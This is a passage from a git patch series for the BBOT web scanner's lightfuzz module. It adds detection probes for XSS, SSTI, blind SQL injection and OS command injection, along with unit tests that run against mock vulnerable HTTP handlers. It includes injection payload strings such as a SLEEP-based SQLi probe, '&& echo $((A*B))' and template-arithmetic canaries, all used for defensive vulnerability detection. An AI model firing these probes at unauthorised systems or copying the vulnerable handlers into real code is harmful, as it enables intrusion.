module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -813,7 +878,9 @@ def check(self, module_test, events): # SQLI Single Quote/Two Single Quote (headers) class Test_Lightfuzz_sqli_headers(Test_Lightfuzz_sqli): async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -881,7 +948,9 @@ def check(self, module_test, events): # SQLI Single Quote/Two Single Quote (cookies) class Test_Lightfuzz_sqli_cookies(Test_Lightfuzz_sqli): async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -999,6 +1068,81 @@ def check(self, module_test, events): assert sqldelay_finding_emitted, "SQLi Delay FINDING not emitted" +# Blind SQLi where only row-independent one-shot SLEEP payloads trigger a delay. +# Simulates the common real-world case where the injected value does not match +# any row in the target table, causing row-scoped AND-based SLEEP payloads to +# short-circuit and never execute. Also guards against regression of a missing +# list comma that previously fused Oracle and MSSQL probes into one malformed +# concatenated string. +class Test_Lightfuzz_sqli_delay_or_rowindependent(Test_Lightfuzz_sqli): + received_payloads = [] + + def request_handler(self, request): + from time import sleep + + qs = str(request.query_string.decode()) + parameter_block = """ + + """ + if "search=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + self.__class__.received_payloads.append(decoded) + + sql_block = """ +
    +

    0 search results found

    +
    +
    + """ + # Only the one-shot row-independent MySQL payload triggers a delay. + # The original AND-based mysql probe does not fire here, simulating + # a context where the injected value does not match any row. + if "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in decoded: + sleep(5) + return Response(sql_block, status=200) + return Response(parameter_block, status=200) + + def check(self, module_test, events): + web_parameter_emitted = False + one_shot_delay_finding = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [search]" in e.data["description"]: + web_parameter_emitted = True + if e.type == "FINDING": + desc = e.data["description"] + if ( + "Possible Blind SQL Injection" in desc + and "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in desc + ): + one_shot_delay_finding = True + + # Guard against regression of the missing-comma bug: Python string-literal + # concatenation of adjacent list entries would produce a payload containing + # both DBMS_LOCK.SLEEP and WAITFOR, which is never a valid single probe. + garbled = [ + p for p in self.received_payloads if "DBMS_LOCK.SLEEP" in p and "WAITFOR" in p + ] + assert not garbled, ( + f"Garbled Oracle+MSSQL concatenated probe was sent ({len(garbled)} times): " + f"{garbled[:1]}. This indicates the missing-comma bug has regressed." + ) + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert one_shot_delay_finding, ( + "One-shot row-independent SLEEP finding not emitted — " + "row-independent blind sqli detection regression." + ) + + # Serialization Module (Error Resolution) class Test_Lightfuzz_serial_errorresolution(ModuleTestBase): targets = ["http://127.0.0.1:8888"] @@ -1449,13 +1593,20 @@ def request_handler(self, request): value = qs.split("=")[1] if "&" in value: value = value.split("&")[0] - if "&& echo " in unquote(value): - cmdi_value = unquote(value).split("&& echo ")[1].split(" ")[0] + decoded = unquote(value) + # Simulate a Linux bash-family shell: evaluate $((A*B)) first so + # the arithmetic confirmation probe lands a product value, then + # fall back to plain-echo reflection for the generic probe. + arith = re.search(r"&& echo \$\(\((\d+)\*(\d+)\)\) &&", decoded) + if arith: + cmdi_value = str(int(arith.group(1)) * int(arith.group(2))) + elif "&& echo " in decoded: + cmdi_value = decoded.split("&& echo ")[1].split(" ")[0] else: - cmdi_value = value + cmdi_value = decoded cmdi_block = f"""
    -

    0 search results for '{unquote(cmdi_value)}'

    +

    0 search results for '{cmdi_value}'


    """ @@ -1464,13 +1615,21 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + # Respect the numeric_only=True contract so int() conversions in the + # arithmetic canary path succeed. Non-numeric calls still receive the + # original deterministic letter string. + def rand_string(*args, **kwargs): + if kwargs.get("numeric_only"): + return "1234567890" + return "AAAAAAAAAAAAAA" + + module_test.scan.modules["lightfuzz"].helpers.rand_string = rand_string expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) def check(self, module_test, events): web_parameter_emitted = False - cmdi_echocanary_finding_emitted = False + cmdi_posix_arith_finding = False for e in events: if e.type == "WEB_PARAMETER": if "HTTP Extracted Parameter [search]" in e.data["description"]: @@ -1478,16 +1637,146 @@ def check(self, module_test, events): if e.type == "FINDING": if ( - "POSSIBLE OS Command Injection. Parameter: [search] Parameter Type: [GETPARAM] Detection Method: [echo canary] CMD Probe Delimeters: [&&]" + "POSSIBLE OS Command Injection. Parameter: [search] Parameter Type: [GETPARAM] Detection Method: [arithmetic canary (POSIX)] CMD Probe Delimeters: [&&]" in e.data["description"] ): - cmdi_echocanary_finding_emitted = True + cmdi_posix_arith_finding = True + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert cmdi_posix_arith_finding, "POSIX arithmetic canary CMDi FINDING not emitted" + + +# CMDi Windows `set /A` canary: simulates a cmd.exe target that evaluates +# `set /A A*B` and prints the product. The arithmetic confirmation cascade +# should land on the Windows arithmetic probe (after the POSIX probe returns +# the literal) and emit a HIGH-confidence finding labeled as cmd. +class Test_Lightfuzz_cmdi_windows(Test_Lightfuzz_cmdi): + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + """ + if "search=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Simulate cmd.exe: evaluate `set /A A*B` and print the product; + # reflect $((A*B)) literal (cmd doesn't expand POSIX arithmetic); + # reflect `echo X` args verbatim. + setA = re.search(r"&& set /A (\d+)\*(\d+) &&", decoded) + if setA: + result = int(setA.group(1)) * int(setA.group(2)) + return Response(f"

    {result}

    ", status=200) + if "&& echo " in decoded: + cmdi_value = decoded.split("&& echo ")[1].split(" ")[0] + return Response( + f"

    0 search results for '{cmdi_value}'

    ", + status=200, + ) + return Response(f"

    0 search results for '{decoded}'

    ", status=200) + return Response(parameter_block, status=200) + def check(self, module_test, events): + web_parameter_emitted = False + windows_arith_finding = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [search]" in e.data["description"]: + web_parameter_emitted = True + if e.type == "FINDING": + desc = e.data["description"] + if ( + "Detection Method: [arithmetic canary (cmd)]" in desc + and "Parameter: [search]" in desc + and "[&&]" in desc + ): + windows_arith_finding = True assert web_parameter_emitted, "WEB_PARAMETER was not emitted" - assert cmdi_echocanary_finding_emitted, "echo canary CMDi FINDING not emitted" + assert windows_arith_finding, ( + "Windows cmd arithmetic canary HIGH-confidence FINDING was not emitted" + ) + + +# CMDi parser-error reflection: simulates a parser (SQL, JSON, YAML) that +# reflects the probe's offending token back in its error. Under the three- +# stage cascade this should NOT produce a "Possible Command Injection" +# finding at all, because neither the POSIX `$((A*B))` nor the Windows +# `set /A A*B` confirmation probe can coax a shell product out of a text +# parser. Instead, a separate "Possible Parameter Reflection" finding is +# emitted to preserve the adjacent-vuln signal without overclaiming cmdi. +class Test_Lightfuzz_cmdi_parser_reflection_downgrade(Test_Lightfuzz_cmdi): + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + """ + if "search=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Real parsers only trip when a shell-style metachar breaks the + # surrounding syntax. Require a delimiter before the token so the + # AAAA false-positive probe does not accidentally reflect. + arith_match = re.search(r"[;|&]\s*echo\s+(\$\(\(\d+\*\d+\)\))", decoded) + if arith_match: + return Response( + f'{{"error":"parse error near {arith_match.group(1)}"}}', + status=500, + mimetype="application/json", + ) + setA_match = re.search(r"[;|&]\s*set\s*/A\s+(\d+\*\d+)", decoded) + if setA_match: + return Response( + f'{{"error":"parse error near {setA_match.group(1)}"}}', + status=500, + mimetype="application/json", + ) + generic_match = re.search(r"[;|&]\s*echo\s+(\d+)", decoded) + if generic_match: + return Response( + f'{{"error":"parse error near {generic_match.group(1)}"}}', + status=500, + mimetype="application/json", + ) + return Response('{"results":[]}', status=200, mimetype="application/json") + return Response(parameter_block, status=200) + + def check(self, module_test, events): + cmdi_finding = False + reflection_finding = False + for e in events: + if e.type == "FINDING": + name = e.data.get("name", "") + if "Command Injection" in name: + cmdi_finding = True + if "Parameter Reflection" in name: + reflection_finding = True + + assert not cmdi_finding, ( + "Parser-error reflection should NOT produce a Possible Command " + "Injection finding under the three-stage cascade (neither POSIX " + "nor Windows arithmetic probe can coax a product out of a text " + "parser)." + ) + assert reflection_finding, ( + "Expected a Possible Parameter Reflection finding for the " + "reflection-only detection path (preserves adjacent-vuln signal " + "without overclaiming cmdi)." + ) -# CMDi interactsh class Test_Lightfuzz_cmdi_interactsh(Test_Lightfuzz_cmdi): @staticmethod def extract_subdomain_tag(data): @@ -1679,7 +1968,9 @@ def request_handler(self, request): return Response(parameter_block, status=200, headers={"Content-Type": "application/json"}) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -1735,7 +2026,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -1780,7 +2073,9 @@ def request_handler(self, request): return Response(fp_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2405,7 +2700,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2452,7 +2749,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2790,7 +3089,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2866,7 +3167,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2979,7 +3282,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -3138,7 +3443,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -3168,7 +3475,9 @@ class Test_Lightfuzz_static_url_filter(ModuleTestBase): } async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) respond_args = {"response_data": "placeholder", "status": 200} expect_args = {"method": "GET", "uri": "/"} module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) From b06096fa207bc5d77985bac05a0353eea4e6f34a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 23 Apr 2026 22:10:53 -0400 Subject: [PATCH 548/912] Lightfuzz FN-hunt round 2: xss context coverage MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Previously `determine_context` recognized only three contexts: between tags, double-quoted attribute, and plain JS string. Real-world XSS reflections into single-quoted attributes, non-`action` URL attributes (href, src, formaction, etc.), HTML comments, and JS template literals were all missed. Added: - Single-quoted attribute detection + quote-aware breakout probes. Tracking the wrapping quote type prevents false positives from the wrong-quote char reflecting harmlessly inside. - URL-scheme probe generalized from `action="javascript:..."` to match any URL-bearing attribute. - HTML comment context: detected via `` and probed by testing whether `-->` survives reflection. - JS template literal (backtick) context: detected via backtick-wrapped reflection inside " @@ -215,21 +253,38 @@ async def fuzz(self): random_string, reflection_probe_result.text ) - # Skip the test if the context is outside - if quote_context == "outside": - return - - # Update probes based on the quote context - if quote_context == "single": - in_javascript_escape_probe = rf"a\';zzzzz({random_string})\\" - in_javascript_escape_match = rf"a\\';zzzzz({random_string})\\" - elif quote_context == "double": - in_javascript_escape_probe = rf"a\";zzzzz({random_string})\\" - in_javascript_escape_match = rf'a\\";zzzzz({random_string})\\' - - await self.check_probe( - cookies, - in_javascript_escape_probe, - in_javascript_escape_match, - f"In Javascript (escaping the escape character, {quote_context} quote)", - ) + # Only run the escape-the-escape probe for quoted-string + # contexts. Backtick-wrapped (template-literal) context is + # handled separately below. + if quote_context in ("single", "double"): + if quote_context == "single": + in_javascript_escape_probe = rf"a\';zzzzz({random_string})\\" + in_javascript_escape_match = rf"a\\';zzzzz({random_string})\\" + else: + in_javascript_escape_probe = rf"a\";zzzzz({random_string})\\" + in_javascript_escape_match = rf'a\\";zzzzz({random_string})\\' + + await self.check_probe( + cookies, + in_javascript_escape_probe, + in_javascript_escape_match, + f"In Javascript (escaping the escape character, {quote_context} quote)", + ) + + if in_html_comment: + # Breakout probe: if `-->` survives reflection inside an HTML + # comment, the attacker can close the comment and inject fresh + # markup. Match must be inside the HTML comment's bounds — or + # we'd be reflecting somewhere else. + html_comment_probe = f"{random_string}-->z" + html_comment_match = f"{random_string}-->z" + await self.check_probe(cookies, html_comment_probe, html_comment_match, "HTML Comment") + + if in_js_backtick: + # Template-literal probe: inside `...{injection}...` inside a + # script tag, `${...}` interpolation runs arbitrary JS. If + # `${`, the canary, and `}` all survive reflection unescaped, + # the injection can execute JS via template-literal interpolation. + backtick_probe = f"${{{random_string}}}" + backtick_match = f"${{{random_string}}}" + await self.check_probe(cookies, backtick_probe, backtick_match, "JS Template Literal") diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 691b0a1ec0..d0f996dd70 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -285,6 +285,147 @@ def check(self, module_test, events): assert xss_finding_emitted, "Between Tags XSS FINDING not emitted" +# Tag Attribute XSS with single-quoted value. Verifies that the attribute- +# context probes trigger against `` — which was +# previously missed because the regex only matched double-quoted attributes +# and the breakout probe hardcoded `"` as the breakout char. +class Test_Lightfuzz_xss_single_quote_attribute(Test_Lightfuzz_xss): + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + Link + + """ + if "foo=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + # Single-quoted attribute; only `<` and `>` are stripped so the + # attacker can still close the quote and inject event handlers. + safe = unquote(value).replace("<", "").replace(">", "") + xss_block = f""" +
    +
    hi
    +
    +
    + """ + return Response(xss_block, status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + expect_args = re.compile("/otherpage.php") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + web_parameter_emitted = False + single_quote_finding = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [foo]" in e.data["description"]: + web_parameter_emitted = True + if e.type == "FINDING": + desc = e.data["description"] + if ( + "Possible Reflected XSS" in desc + and "Parameter: [foo]" in desc + and "Tag Attribute (' quoted)" in desc + ): + single_quote_finding = True + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert single_quote_finding, "Single-quote attribute XSS FINDING not emitted" + + +# HTML-comment-context XSS. Verifies that a reflection inside `` +# is detected when the `-->` sequence survives reflection (attacker can +# close the comment and inject markup afterward). +class Test_Lightfuzz_xss_html_comment(Test_Lightfuzz_xss): + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + Link + + """ + if "foo=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + return Response(f"", status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + expect_args = re.compile("/otherpage.php") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + html_comment_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if "Possible Reflected XSS" in desc and "Context: [HTML Comment]" in desc: + html_comment_finding = True + assert html_comment_finding, "HTML Comment XSS FINDING not emitted" + + +# JS-template-literal-context XSS. Verifies detection of reflection inside +# a backtick-wrapped string in a closure, but + # leave `${`, `}`, and backtick alone. + safe = decoded.replace("<", "").replace(">", "") + return Response( + "", + status=200, + ) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + expect_args = re.compile("/otherpage.php") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + backtick_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if "Possible Reflected XSS" in desc and "Context: [JS Template Literal]" in desc: + backtick_finding = True + assert backtick_finding, "JS Template Literal XSS FINDING not emitted" + + # Form Action Injection Detection class Test_Lightfuzz_xss_formaction(Test_Lightfuzz_xss): def request_handler(self, request): @@ -325,14 +466,15 @@ def check(self, module_test, events): web_parameter_emitted = True if e.type == "FINDING": + desc = e.data["description"] if ( - "Possible Reflected XSS. Parameter: [func] Context: [Form Action Injection] Parameter Type: [POSTPARAM]" - in e.data["description"] + 'Possible Reflected XSS. Parameter: [func] Context: [URL-scheme Injection (" quoted)] Parameter Type: [POSTPARAM]' + in desc ): xss_finding_emitted = True assert web_parameter_emitted, "WEB_PARAMETER was not emitted" - assert xss_finding_emitted, "Form Action XSS FINDING not emitted" + assert xss_finding_emitted, "URL-scheme Injection XSS FINDING not emitted" # Base64 Envelope XSS Detection @@ -594,12 +736,17 @@ def check(self, module_test, events): original_value_captured = True if e.type == "FINDING": - if "Possible Reflected XSS. Parameter: [foo] Context: [Tag Attribute]" in e.data["description"]: + desc = e.data["description"] + if ( + "Possible Reflected XSS. Parameter: [foo] Context: [Tag Attribute" + in desc + and 'quoted)' in desc + ): xss_finding_emitted = True assert web_parameter_emitted, "WEB_PARAMETER was not emitted" assert original_value_captured, "original_value not captured" - assert xss_finding_emitted, "Between Tags XSS FINDING not emitted" + assert xss_finding_emitted, "Tag Attribute XSS FINDING not emitted" # In Javascript XSS Detection From 8724337ad04e41fee21ff2534e4734bfa0673542 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 23 Apr 2026 22:51:15 -0400 Subject: [PATCH 549/912] Lightfuzz FN-hunt round 3: ssti direct probes + FP guard MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two changes to the ssti submodule: 1. Add a direct `{{1337*1337}}` probe and a single-brace Smarty variant `{1337*1337}`. The existing `1,787{{z}},569` trick relies on `{{z}}` silently rendering as empty, which fails in StrictUndefined Jinja2 environments and other engines that raise on undefined vars. A direct arithmetic probe still works in those contexts. 2. Add a baseline-response check: before running any probes, fetch the response with the original value and confirm the detection canaries (1787569 / 1,787,569) aren't already present. If they are, abort — the number is part of the page, not a template-eval result. This eliminates the rare coincidental-number false positive. Tests: 2 new save-points. One exercises the direct {{A*B}} path with a mock template engine that raises on {{z}} (simulating StrictUndefined). The other confirms the baseline check suppresses findings on pages that already contain 1,787,569 in static content. --- bbot/modules/lightfuzz/submodules/ssti.py | 42 ++++++++++--- .../module_tests/test_module_lightfuzz.py | 63 +++++++++++++++++++ 2 files changed, 98 insertions(+), 7 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/ssti.py b/bbot/modules/lightfuzz/submodules/ssti.py index 187c5ca4bf..25b548744f 100644 --- a/bbot/modules/lightfuzz/submodules/ssti.py +++ b/bbot/modules/lightfuzz/submodules/ssti.py @@ -9,26 +9,54 @@ class ssti(BaseLightfuzz): * Arithmetic Evaluation: - Injects encoded and unencoded multiplication expressions to detect evaluation + - Covers ERB/JSP, EL/Freemarker/Mako, Jinja2/Twig (both the + direct `{{1337*1337}}` form and the `1,787{{z}},569` comma- + collapse trick for engines that render `{{undefined}}` as ""), + and Smarty (single-brace) + - Baseline-gated: suppresses findings when the canary product + already appears in the unaltered response, which eliminates the + rare coincidental-number false positive """ friendly_name = "Server-side Template Injection" async def fuzz(self): cookies = self.event.data.get("assigned_cookies", {}) - # These are common SSTI payloads, each attempting to trigger an integer multiplication which would produce an expected value + + # Baseline: the current response without any template syntax in the + # value. If the detection canary (`1787569` or `1,787,569`) already + # appears here, later matches are ambiguous and we should not flag. + probe_value = self.incoming_probe_value(populate_empty=True) + baseline = await self.standard_probe( + self.event.data["type"], cookies, probe_value, allow_redirects=True, skip_urlencoding=True + ) + if baseline is None: + self.debug("baseline request failed, aborting ssti detection") + return + baseline_text = baseline.text + if "1787569" in baseline_text or "1,787,569" in baseline_text: + self.debug( + "canary value already present in baseline response; suppressing ssti detection " + "to avoid a coincidental-number false positive" + ) + return + + # Common SSTI payloads across template engines. Each attempts to + # trigger 1337*1337 = 1787569. ssti_probes = [ - "<%25%3d%201337*1337%20%25>", - "<%= 1337*1337 %>", - "${1337*1337}", - "%24%7b1337*1337%7d", - "1,787{{z}},569", + "<%25%3d%201337*1337%20%25>", # URL-encoded ERB/JSP `<%= 1337*1337 %>` + "<%= 1337*1337 %>", # ERB/JSP + "${1337*1337}", # EL / Freemarker / Thymeleaf / Mako + "%24%7b1337*1337%7d", # URL-encoded ${1337*1337} + "{{1337*1337}}", # Jinja2 / Twig / Tornado / Django-template + "1,787{{z}},569", # Jinja2 comma-collapse (legacy, still useful) + "{1337*1337}", # Smarty single-brace ] for probe_value in ssti_probes: r = await self.standard_probe( self.event.data["type"], cookies, probe_value, allow_redirects=True, skip_urlencoding=True ) - # look for the expected value in the response if r and ("1787569" in r.text or "1,787,569" in r.text): self.results.append( { diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index d0f996dd70..b067bab583 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -225,6 +225,69 @@ def check(self, module_test, events): assert ssti_finding_emitted, "SSTI integer multiply FINDING not emitted" +# SSTI direct {{A*B}} probe — simulates a template engine (e.g. Jinja2 with +# StrictUndefined) that raises on `{{undefined_var}}` so the comma-collapse +# trick fails, but still evaluates an arithmetic expression like +# `{{1337*1337}}` because arithmetic has no undefined variables. +class Test_Lightfuzz_ssti_direct_jinja(Test_Lightfuzz_ssti_multiply): + def request_handler(self, request): + qs = str(request.query_string.decode()) + from urllib.parse import unquote as _unquote + + value = qs.split("data=")[1] if "data=" in qs else "" + if "&" in value: + value = value.split("&")[0] + decoded = _unquote(value) + # `{{z}}` raises in StrictUndefined engines — the comma-collapse + # probe produces a 500 instead of the expected `1,787,569`. + if "{{z}}" in decoded: + return Response("Template error: 'z' is undefined", status=500) + # `{{A*B}}` evaluates normally when A and B are literal ints. + if decoded.startswith("{{") and decoded.endswith("}}"): + inner = decoded[2:-2] + if "*" in inner: + a, b = inner.split("*") + try: + return Response(f"
    {int(a) * int(b)}
    ", status=200) + except ValueError: + pass + # Anything else: baseline-ish echo, no template evaluation + return Response(f"
    Hi, {decoded}
    ", status=200) + + def check(self, module_test, events): + ssti_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if "Server-side Template Injection" in desc and "[{{1337*1337}}]" in desc: + ssti_finding = True + assert ssti_finding, "Direct {{1337*1337}} SSTI FINDING not emitted" + + +# SSTI baseline FP suppression — simulates an endpoint whose static content +# happens to include the canary product value (1787569 or 1,787,569). The +# baseline check should suppress all ssti findings on this endpoint. +class Test_Lightfuzz_ssti_baseline_fp(Test_Lightfuzz_ssti_multiply): + def request_handler(self, request): + # Every response contains the canary literal as static content. + # No template evaluation anywhere — pure coincidental number. + return Response( + "Total units sold: 1,787,569", + status=200, + ) + + def check(self, module_test, events): + ssti_finding = False + for e in events: + if e.type == "FINDING": + if "Server-side Template Injection" in e.data.get("description", ""): + ssti_finding = True + assert not ssti_finding, ( + "SSTI finding emitted on a page whose baseline already contains " + "the canary number — baseline-check guard failed." + ) + + # Between Tags XSS Detection class Test_Lightfuzz_xss(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From c18daa5050d93e452dd3326bf5fe07cca35f0c40 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 08:11:08 -0400 Subject: [PATCH 550/912] Lightfuzz FN-hunt round 4: ssti velocity coverage Add Apache Velocity `#set($x=A*B)$x` probe (URL-encoded since `#` would otherwise be interpreted as a URL fragment and truncate the payload). Save-point test with a mock that only recognizes the Velocity syntax, proving the new probe fires on engines the existing probes miss. --- bbot/modules/lightfuzz/submodules/ssti.py | 3 ++ .../module_tests/test_module_lightfuzz.py | 31 +++++++++++++++++++ 2 files changed, 34 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/ssti.py b/bbot/modules/lightfuzz/submodules/ssti.py index 25b548744f..707b651f8b 100644 --- a/bbot/modules/lightfuzz/submodules/ssti.py +++ b/bbot/modules/lightfuzz/submodules/ssti.py @@ -51,6 +51,9 @@ async def fuzz(self): "{{1337*1337}}", # Jinja2 / Twig / Tornado / Django-template 